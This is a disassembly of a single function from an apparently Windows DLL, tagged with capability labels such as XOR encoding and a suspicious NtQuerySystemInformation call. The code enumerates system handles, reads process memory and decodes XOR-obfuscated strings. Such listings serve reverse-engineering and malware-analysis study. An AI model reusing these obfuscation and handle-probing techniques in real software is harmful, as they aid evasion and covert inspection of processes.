Function at 0x180010810
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x180037020]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edx, edx
lea r9, [rbp + 7]
mov rsi, rcx
xor r15d, r15d
xor r8d, r8d
mov dword [rbp + 7], r15d
mov ebx, r15d
lea ecx, [rdx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1800108a6
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 7]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 7]
lea r9, [rbp + 7]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x180010860
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], r14
test eax, eax
js 0x180010f65
test rbx, rbx
je 0x180010f7b
mov edi, r15d
mov r14, r15
cmp qword [rbx], rdi
jbe 0x180010938
mov rax, r15
nop word [rax + rax]
lea rax, [rax + rax*4]
movups xmm0, xmmword [rbx + rax*8 + 0x10]
movsd xmm1, qword [rbx + rax*8 + 0x30]
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp - 0x59], xmm0
movups xmm0, xmmword [rbx + rax*8 + 0x20]
movsd qword [rbp - 0x39], xmm1
movups xmmword [rbp - 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movups xmm0, xmmword [rbp - 9]
mov ecx, eax
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x180010926
cmp qword [rbp - 0x49], rsi
je 0x180010934
inc edi
mov eax, edi
cmp rax, qword [rbx]
jb 0x1800108e0
jmp 0x180010f6a
mov r14, qword [rbp - 0x59]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x180010f7b
lea r8, [r14 + 8]
mov qword [rbp + 0x27], r15
mov r9d, 8
lea rdx, [rbp + 0x27]
mov rcx, rsi
call fcn.18000fad0
test al, al
je 0x180010eb5
mov r8, qword [rbp + 0x27]
test r8, r8
je 0x180010eb5
add r8, 8
mov qword [rbp + 0x2f], r15
mov r9d, 8
lea rdx, [rbp + 0x2f]
mov rcx, rsi
call fcn.18000fad0
test al, al
je 0x180010e05
mov r8, qword [rbp + 0x2f]
test r8, r8
je 0x180010e05
add r8, 0x28
mov qword [rbp + 0x1f], r15
mov r9d, 8
lea rdx, [rbp + 0x1f]
mov rcx, rsi
call fcn.18000fad0
test al, al
je 0x180010d5c
mov r8, qword [rbp + 0x1f]
test r8, r8
je 0x180010d5c
xorps xmm0, xmm0
lea rdx, [rbp + 0xf]
add r8, 0x58
mov r9d, sendto
mov rcx, rsi
movups xmmword [rbp + 0xf], xmm0
call fcn.18000fad0
test al, al
je 0x180010cc6
movzx eax, word [rbp + 0xf]
test ax, ax
je 0x180010cc6
mov ecx, eax
mov eax, 2
shr rcx, 1
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.18002a030
movzx r8d, word [rbp + 0xf]
xor edx, edx
add r8, 2
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
movzx r9d, word [rbp + 0xf]
mov rdx, rbx
mov r8, qword [rbp + 0x17]
mov rcx, rsi
call fcn.18000fad0
test al, al
jne 0x180010b21
xor eax, eax
mov dword [rbp - 0x59], 0xf377f30e
mov word [rbp - 0x1d], ax
mov edx, r15d
mov dword [rbp - 0x55], 0xf378f30a
mov r8, r15
mov dword [rbp - 0x51], 0xf33bf31f
mov ecx, 0xcab
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf301f311
mov dword [rbp - 0x39], 0xf302f304
mov dword [rbp - 0x35], 0xf30cf347
mov dword [rbp - 0x31], 0xf303f31b
mov dword [rbp - 0x2d], 0xf309f31d
mov dword [rbp - 0x29], 0xf34ef31f
mov dword [rbp - 0x25], 0xf311f301
mov dword [rbp - 0x21], 0xf317f31c
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x1e
jb 0x180010ae0
mov word [rbp - 0x1d], r15w
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.180015960
lea rdx, [0x180015b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x180010f7b
mov rdx, qword [rbp + 0x1f]
lea r8, [rbp + 0xf]
add rdx, 0x58
mov word [rbp + 0xf], r15w
mov r9d, sendto
mov rcx, rsi
call fcn.18000fad0
mov dword [rbp - 0x55], 0xf378f30a
mov edx, r15d
mov r8, r15
mov ecx, 0xcab
test al, al
jne 0x180010c05
xor eax, eax
mov dword [rbp - 0x59], 0xf377f30e
mov word [rbp - 0xd], ax
mov dword [rbp - 0x51], 0xf33bf31f
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf316f314
mov dword [rbp - 0x39], 0xf312f30c
mov dword [rbp - 0x35], 0xf348f302
mov dword [rbp - 0x31], 0xf318f30d
mov dword [rbp - 0x2d], 0xf31af302
mov dword [rbp - 0x29], 0xf31cf308
mov dword [rbp - 0x25], 0xf31ef34f
mov dword [rbp - 0x21], 0xf31ff310
mov dword [rbp - 0x1d], 0xf354f316
mov dword [rbp - 0x19], 0xf313f319
mov dword [rbp - 0x15], 0xf31ff319
mov dword [rbp - 0x11], 0xf312f30d
nop
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x26
jb 0x180010be0
mov word [rbp - 0xd], r15w
lea rdx, [rbp - 0x59]
jmp 0x180010b00
mov dword [rbp - 0x59], 0xf37df30e
mov dword [rbp - 0x51], 0xf337f314
mov dword [rbp - 0x4d], 0xf332f30e
mov dword [rbp - 0x49], 0xf331f331
mov dword [rbp - 0x45], 0xf304f33e
mov dword [rbp - 0x41], 0xf306f304
mov dword [rbp - 0x3d], 0xf316f327
mov dword [rbp - 0x39], 0xf310f30c
mov dword [rbp - 0x35], 0xf31af302
mov dword [rbp - 0x31], 0xf34af31a
mov dword [rbp - 0x2d], 0xf300f328
mov dword [rbp - 0x29], 0xf30ff308
mov dword [rbp - 0x25], 0xf315f301
mov dword [rbp - 0x21], 0xf348f315
mov dword [rbp - 0x1d], 0xf353
nop
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x1f
jb 0x180010c70
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x59]
mov word [rbp - 0x1b], r15w
call fcn.180015960
mov rcx, rax
mov rdx, rbx
call fcn.180015960
lea rdx, [0x180015b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call fcn.180029c7c
mov al, 1
jmp 0x180010f7d
xor eax, eax
mov dword [rbp - 0x59], 0xf377f30e
mov word [rbp - 0x1d], ax
mov edx, r15d
mov dword [rbp - 0x55], 0xf378f30a
mov r8, r15
mov dword [rbp - 0x51], 0xf33bf31f
mov ecx, 0xcab
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf30df305
mov dword [rbp - 0x39], 0xf302f30b
mov dword [rbp - 0x35], 0xf30cf347
mov dword [rbp - 0x31], 0xf303f31b
mov dword [rbp - 0x2d], 0xf309f31d
mov dword [rbp - 0x29], 0xf34ef31f
mov dword [rbp - 0x25], 0xf311f301
mov dword [rbp - 0x21], 0xf317f31c
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x1e
jb 0x180010d40
jmp 0x180010af7
mov dword [rbp - 0x59], 0xf377f30e
mov edx, r15d
mov dword [rbp - 0x55], 0xf378f30a
mov r8, r15
mov dword [rbp - 0x51], 0xf33bf31f
mov ecx, 0xcab
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf30df305
mov dword [rbp - 0x39], 0xf302f30b
mov dword [rbp - 0x35], 0xf30cf347
mov dword [rbp - 0x31], 0xf303f31b
mov dword [rbp - 0x2d], 0xf309f31d
mov dword [rbp - 0x29], 0xf331f31f
mov dword [rbp - 0x25], 0xf315f31c
mov dword [rbp - 0x21], 0xf306f312
mov dword [rbp - 0x1d], 0xf31bf31a
mov dword [rbp - 0x19], 0xf31b
nop
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x21
jb 0x180010de0
mov word [rbp - 0x17], r15w
lea rdx, [rbp - 0x59]
jmp 0x180010b00
xor eax, eax
mov dword [rbp - 0x59], 0xf377f30e
mov word [rbp - 0x19], ax
mov edx, r15d
mov dword [rbp - 0x55], 0xf378f30a
mov r8, r15
mov dword [rbp - 0x51], 0xf33bf31f
mov ecx, 0xcab
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf30df305
mov dword [rbp - 0x39], 0xf302f30b
mov dword [rbp - 0x35], 0xf30cf347
mov dword [rbp - 0x31], 0xf303f31b
mov dword [rbp - 0x2d], 0xf309f31d
mov dword [rbp - 0x29], 0xf331f31f
mov dword [rbp - 0x25], 0xf312f300
mov dword [rbp - 0x21], 0xf317f31b
mov dword [rbp - 0x1d], 0xf300f310
nop word [rax + rax]
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x20
jb 0x180010e90
mov word [rbp - 0x19], r15w
lea rdx, [rbp - 0x59]
jmp 0x180010b00
xor eax, eax
mov dword [rbp - 0x59], 0xf377f30e
mov word [rbp - 0x19], ax
mov edx, r15d
mov dword [rbp - 0x55], 0xf378f30a
mov r8, r15
mov dword [rbp - 0x51], 0xf33bf31f
mov ecx, 0xcab
mov dword [rbp - 0x4d], 0xf330f332
mov dword [rbp - 0x49], 0xf33af338
mov dword [rbp - 0x45], 0xf314f37f
mov dword [rbp - 0x41], 0xf342f30e
mov dword [rbp - 0x3d], 0xf30df305
mov dword [rbp - 0x39], 0xf302f30b
mov dword [rbp - 0x35], 0xf30cf347
mov dword [rbp - 0x31], 0xf31cf30c
mov dword [rbp - 0x2d], 0xf30ff302
mov dword [rbp - 0x29], 0xf331f308
mov dword [rbp - 0x25], 0xf312f300
mov dword [rbp - 0x21], 0xf317f31b
mov dword [rbp - 0x1d], 0xf300f310
nop word [rax + rax]
movzx eax, dx
inc edx
sub ax, cx
xor word [rbp + r8*2 - 0x59], ax
movsxd r8, edx
cmp r8, 0x20
jb 0x180010f40
mov word [rbp - 0x19], r15w
lea rdx, [rbp - 0x59]
jmp 0x180010b00
test rbx, rbx
je 0x180010f7b
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov r14, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xe8]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.180029c20
mov rbx, qword [rsp + 0xf8]
add rsp, 0xc0
pop r15
pop rsi
pop rbp
ret